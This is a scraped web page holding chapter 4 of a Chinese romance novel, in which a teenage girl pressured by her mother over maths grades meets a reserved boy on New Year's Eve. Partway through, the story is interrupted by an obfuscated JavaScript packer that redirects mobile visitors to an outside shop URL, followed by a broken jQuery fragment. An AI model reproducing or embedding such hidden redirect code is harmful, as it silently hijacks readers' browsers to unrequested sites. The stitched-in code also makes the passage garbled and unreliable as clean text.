文趣网 > 其他小说 > 夕阳之上的微光 > 4. 第 4 章
    “数学怎么才考了102?”

    搬进万鎏府第二天,妈妈打来电话,劈头盖脸的就是这一句。

    林暮莱靠在沙发里,指尖轻扣着遥控器。电视里综艺在闹,妈妈的声音一贯冷静,精准地落在耳边。

    “其他科目还行,物理可以再加强。边家儿子成绩就很好,你要多向他学习。”

    “还有,在人家家里别给人添麻烦。”

    句句敲进耳膜,不带情绪,不给她回应的机会。

    “妈妈现在在国外谈生意,抽不开身......”

    林暮莱靠在沙发里,盯着电视屏幕,忽然就没了兴致,遥控器按下,电视黑了。

    客厅安静下来,黑屏里映出她的脸。

    有点沮丧,有点无力。

    “你平时上课是不是开小差了?”母亲的声音在耳畔放大。

    林暮莱垂下眸,嗓音有些疲惫,“妈妈,我已经很努力了。”

    “努力了怎么会考差?”

    她沉默了一瞬,指尖无意识地在沙发扶手上蹭了蹭,喉咙发紧,“......我真的尽力了。”

    卷子一张张地刷,错题重做,不懂就问。数学已经是她最认真对待的一门课,她真的不知道还能怎么做得更好。

    电话那头安静了几秒,随即传来一句冷漠的话:“算了,你自己心里有数。”

    林暮莱指尖微蜷,想解释什么,却又觉得没意义,半晌,嗓音极轻:“......对不起,我会努力的。”

    “努力不是说说的。”母亲一记落槌。

    ......

    电话被挂断。

    林暮莱呆坐在沙发上,沉默了很久。

    手中的屏幕早已暗下,可她依旧握紧手机,直到意识到握着手机的手指开始发僵。

    那时的她并不知道。

    那场电话不只有她一个人听见。

    林暮莱站起身,动作有些迟缓,推开阳台门的刹那,冷风猛地灌进来,寒意锋利,一瞬间刮得她鼻尖泛红。

    她走出去,没开灯。

    阳台上,稀薄的月光渗着冷意,照亮地面一角。

    她缓缓蹲下身,把额头抵在膝盖上,手指扣着手臂,把自己牢牢抱紧。

    妈妈总说,要成为令她骄傲的女儿,要她成绩优秀,出众,步步走在正轨上,不能行差踏错。

    可她其实一直有一句话很想问妈妈。

    如果没有任何的前缀,可能不优秀,可能不漂亮,可能没办法令她骄傲......单单只是她这个女儿本身。

    妈妈还会爱她吗?

    寒风凛冽,指尖冻得发麻。扔在一旁的手机屏幕亮起,未读消息一闪一灭。

    是妈妈发来的最后一句话,像是给了她的疑惑一个解答。

    【你自己好好想想,为什么别人能做到,你就做不到。】

    林暮莱头埋得更低,肩膀轻轻发着抖,用力将自己抱得更紧。

    好累啊,怎么会这么累。

    风刮过阳台,她又一次伸手去擦眼泪时,一道微暖的重量忽然从头顶落下。

    余温透过布料,覆住她的肩。

    夹杂着一股清冽的冷柚香。

    林暮莱怔住,抬头,湿漉漉的眸光里满是愕然。

    头顶的大衣顺势下滑,露出少年逆光站立的身影。

    他没开口。

    目光掠过她红着的眼眶,停了一瞬,又像什么都没看见似的收回。

    那是她第一次见到边屿。

    风吹起他的额发,他垂着眼,神情淡漠,却什么都没问,只朝她抬了抬下巴,让她把衣服穿好。

    林暮莱鼻尖酸得发烫,动了动唇,可眼眶蓄满的泪水却先一步滚落。

    下一秒。

    头顶的羽绒服被人往下轻扯,整张脸被遮住。

    视线里一片漆黑。

    林暮莱轻轻吸了吸鼻子,最终什么也没说,只攥紧了大衣一角。

    风声呼啸,少年站在原地看了她几秒。

    似乎想说什么,最终却只是转身离开。

    ......

    收拾好情绪,林暮莱起身回厅,脚步放得很轻。

    客厅里只开了一盏昏黄的落地灯,暖气开得很足。屋外的寒意还贴在身上,脖颈间的凉意顺着骨缝渗进来,激得她打了个寒颤,于是下意识拢紧外套。

    刚走没两步,她余光一撇,停住。

    岛台旁站着个人。

    她借着昏黄的灯光看去。

    少年倚着岛台,右膝微曲,脚尖抵着地面,指尖漫不经心地划拉屏幕,睫毛低垂,在眼下落下一片阴影,光线半明半暗,看不清神色。

    她脚步顿了顿,意外得有些后知后觉。

    他不是......在海城吗?

    林暮莱撇看向客厅的挂钟——23:50。

    这个点,他应该和家人待在一起,围着一桌年夜饭,等着新年倒计时才对,为什么会出现在千里之外的京市?

    不是说过完年才会回来吗?

    林暮莱收回目光,心底的疑惑转了一圈,终究还是没问出口。

    贸然打听显得多余,更何况,他也没有要解释的意思。

    她垂了垂眼,又再度看去,语调平稳地自我介绍:“你好,我是林暮莱。”

    她决定假装无事发生。

    “从昨天搬来,接下来一段时间会借住在这里,打扰了。”

    边屿闻声,掀起眼皮看了她一瞬,眼神很淡,没有什么情绪起伏。

    “听说了。”

    语调也很淡,甚至有些敷衍。

    有点冷场。

    林暮莱站在原地,轻吸了口气,视线落在他松松握着手机的指节上,半晌,开口:“刚才......谢谢你,衣服我会洗了还给你的。”

    边屿的指腹漫不经心地拨着屏幕,没应声。

    过了几秒,他忽然问:“你哭什么?”

    林暮莱愣了下,没想到他会这么直接。

    脑子乱糟糟的。一时间也不知道该怎么回答。

    然而边屿还是那副懒懒散散的样子,站在那儿,眼皮半垂,手指一下下地翻转着手机,表情漠然得像是例行公事的随口一问。

    她紧了紧手,又松开,垂下眸,声音淡了些:“......没什么。”

    空气静了一瞬。

    边屿安静地盯看了两秒,没再继续问。

    他收了手机,缓步在她面前站定,视线往下扫了一眼,“衣服。”

    林暮莱一怔,低头,才发现自己还拢着那件外套。

    “啊......”她反应过来,手忙脚乱地递过去,又低声补了一句:“谢谢。”

    墙上的秒钟在不知不觉中即将走完今年的最后一圈。

    窗外,小区中央的巨幅屏幕开始倒数。

    倒计时的声音一声声透过玻璃溢进屋内。

    3——

    林暮莱被倒数声吸引,下意识偏头,看向窗外。

    荧光数字闪烁,倒映在玻璃上,映出微晃的光。

    新的一年要来了啊,她想。

    2——

    今年......会是一个好年吧。

    1——

    思绪晃了晃。

    她正要收回视线,肩侧忽然掠过一阵浅淡的冷柚香。

    “新年快乐。”

    一声极轻的嗓音落进夜色。

    那是她搬来京市以后,收到的第一句新年快乐。

    林暮莱怔然转身。

    “嗖——!!!”

    “嘭——!!!”

    与此同时,漆黑的夜幕中霎时炸开漫天的烟花,夜幕被烟火撕裂,光亮闪烁。

    耳边是绚烂炸裂的声响。

    她的视线透过明灭交错的火光,落在那道不疾不徐的背影上。

    有那么一瞬间,客厅被烟火照得通亮,如同白昼。

    “嘭!”

    “嘭!”

    “嘭!”

    心底那点道不明的情绪,仿佛也在此刻,随着升腾的烟花,莫名高涨。

    她当时是什么心情啊......

    后来她认真想过很多次,却始终得不出答案。

    烟花落尽后,客厅的灯光重新变得昏黄,一切都归于平静。

    就像他们的关系一样。

    他们像是经历了电影播放过程中的卡顿,最终慢了一拍,进入了原本该有的状态。

    陌生、沉默、互不打扰。

    偶尔,边屿从她身侧走过,脚步不停,连余光都没有给她一分。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17767396|209765||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她甚至开始怀疑,除夕夜发生的一切,是不是只是她的错觉。

    但她没有时间多想。

    寒假一结束,课业的压力很快盖过所有纷乱的思绪。

    开学后,两人的生活轨迹几乎没有交集。

    他们的班级不在一个楼层,只是偶尔,她会在广播操结束后,在来来往往的人群里看见他的身影。

    也会在食堂端着餐盘转身时,看见他从另一侧窗口离开的背影。

    旁边有人和他打招呼,他甚至没回头,只随意抬手挥了下。

    于是周围的女生压低声音讨论了起来。

    “边屿这次又是第一。”

    “听说竞赛名单已经定了。”

    “真的假的。”

    但更多时候,是在各种地方。

    竞赛名单贴在教学楼大厅,月考排名挂在走廊尽头,优秀学生公示栏定期更新,他的名字总出现在最显眼的位置。

    关于边屿的消息,好像总能不经意落进耳朵里。

    以至于后来每次经过公示栏,她总会不自觉看过去。

    这之后,妈妈的电话一如既往,说着边屿多优秀,多了不起,要向他学习,最好能成为他,超越他。

    以前,她听着也就过去了。

    但这次,她竟然对这些夸赞有了实感。

    布告栏上,他的名字永远在第一排,黑色油墨沉稳又刺目。

    她仰起头,目光落在他填上的座右铭上——

    “应对不自由世界的唯一方式,就是让自己变得绝对自由,以至于你的存在本身就成为一种反抗。”

    操场上,国旗下,少年站在风里,清晰而有力地念出这一句。

    林暮莱站在人群中凝望着他,突然就生出了一丝羡慕。

    但她羡慕的不是第一名,也不是那些挂满墙壁的奖状,而是他说出这句话时的神情,张扬得让人移不开眼。

    就好像,从来没有什么东西能够束缚他。

    妈妈总说,人要优秀,要成为让别人羡慕的人。

    可边屿站在那里,却让她第一次觉得。

    能够让人羡慕的,除了优秀之外,还有自由。

    于是她站在人群之外看着他。

    忽然就觉得,他站得很高,也离她很远。

    远到她几乎觉得,那个除夕夜里,是否真的有他的存在。

    本以为,他们的关系会一直这样下去。

    可在开学不久后的某天,妈妈来了边家。

    也是从那天起,好像有什么东西悄然发生了变化。

    饭桌上,妈妈看似关心、实则施压的叮嘱,让她闷得透不过气。

    “数学还是得抓紧。”妈妈放下筷子,“这次期末又掉了十几分。”

    林暮莱垂着眼扒饭,没吭声。

    “你们学校数学老师前几天还给我打过电话。”

    听见这句,她动作顿了顿。

    “他说你思维能力不差,就是不够稳定。”妈妈停了一下,又补充:“还说到了高中以后,数学难度上来,男生的优势会越来越明显。”

    边屿放下了筷子。

    “尤其是竞赛和拔高题那部分,女生普遍会吃亏一点。”

    林暮莱捏着筷子的手紧了紧,妈妈却像没察觉似的,继续说:“老师也是根据这些年的教学经验说的。”

    “所以你更应该多花时间在数学上,而不是因为一次两次考不好就跟老师闹情绪。”

    林暮莱抿唇,没有反驳。

    直到边卉打断妈妈的说教后,才借口出去透气,去了阳台。

    夜风带着冷意,吹得人清醒。

    她撑着栏杆,垂眸看着楼下黑沉沉的道路,努力不去想餐桌上那些话。

    可惜,没什么用。

    身后忽然传来脚步声,她迎着风回头。

    边屿站在那里。

    像是早就知道她会躲出来,他的语气带着某种确定:“是因为这个?”

    他没点明。

    可她一下子就明白了,他在问什么。

    -

    回忆戛然而止。

    林暮莱猛地回过神。

    所以,那句“给你补课”不是因为她的成绩好坏。

    而是因为那个除夕夜的晚上?